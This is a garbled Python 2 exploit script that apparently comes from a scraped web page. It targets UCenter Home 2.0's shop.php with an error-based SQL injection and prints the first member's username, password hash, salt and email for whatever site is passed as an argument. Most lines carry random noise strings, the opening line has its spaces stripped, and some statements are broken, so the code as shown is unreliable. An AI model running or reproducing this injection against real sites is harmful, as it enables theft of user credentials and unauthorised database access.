#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
) x6 P( @, J6 j ( m: ~- D: K j% N' f4 j8 Z
& `( Y) L. i* |1 f3 Q, K#!/usr/bin/env python ! f* ]+ ~% ^. [# c$ f
2 U0 s" U6 F g4 Ximport sys
& S$ D% t& L6 H1 H1 t2 eimport urllib2
' B+ ^4 O2 f8 G5 z$ L Bimport re
; E7 E2 ^) s1 e8 U 7 x, W& _9 `( i7 {7 _1 Q7 |. V
def info(): ; L8 s% k7 K# X; p$ d% v
print 'From:http://www.exploit-db.com/exploits/14997/'
, P# C1 Q+ [, `1 c1 [+ Y2 Z! D; }4 } print 'http://www.hake.cc/Web_loudong/'
3 l9 O& }0 K: z4 s print 'changed:qiaoy'
. P b7 l3 R# v: N% ?& G+ q print 'exp:'
, I( U5 p) [1 [( `& W4 d print ' ./UCenter_Home_2.0.py site'
) @' L% z; {& s/ [
5 n9 s4 B! r, ?3 L# n# o0 idef main(): 8 u% S, B7 a$ F1 J4 q/ b& b
if len(sys.argv) != 2: * e7 r! q0 \- Y( { z
info()
" s3 O. `' C, X5 f# K9 C3 J else:
2 d8 I. T- G! e site = sys.argv[1] ' w& \4 L5 e- w5 W
if site[0:7] == 'http://': 4 }5 U- ~3 J' j# f
sitesite =site
; e! x! Q1 z$ H1 j+ j* K+ p- V2 d elif site[0:8] == 'https://':
# E' V& s9 @6 d8 E+ T sitesite = site
1 M% I! P! B' A' s else:
0 l* f( g Q" U! k- z0 m* { site = 'http://'+site , y- ~; u, w; q9 A
try: 8 C4 U/ ]$ K! k1 D
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
3 g7 J0 g4 V/ P0 j! W7 B; N Value = urllib2.urlopen(url).read() ( ^6 Q- A- D' K6 A# [: i
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
9 S$ B0 j! ?( }( j, X: N1 ` hacked = Msg.split(':') 4 o9 n* d$ g3 g5 R/ x4 p( |
print 'Name: '+hacked[1] 0 v0 v' c3 G% ^% g* G
print 'Passwd: '+hacked[2] 4 F2 X/ c6 u% p2 ?6 X
print 'salt: '+hacked[3]
* i3 p, W3 D' o print 'email: '+hacked[4] 5 I$ J, T ~- ^+ u
except:
* S( ? L! Q' z: `& ~ print 'Sorry,I can\'t work............' 2 S- M0 S& @' f. {9 ^5 Y
3 A( x3 P# c+ n1 Z# bif __name__ == '__main__': ! F. H) @! R" ~6 ^8 ^; y5 q# ]1 a
main() |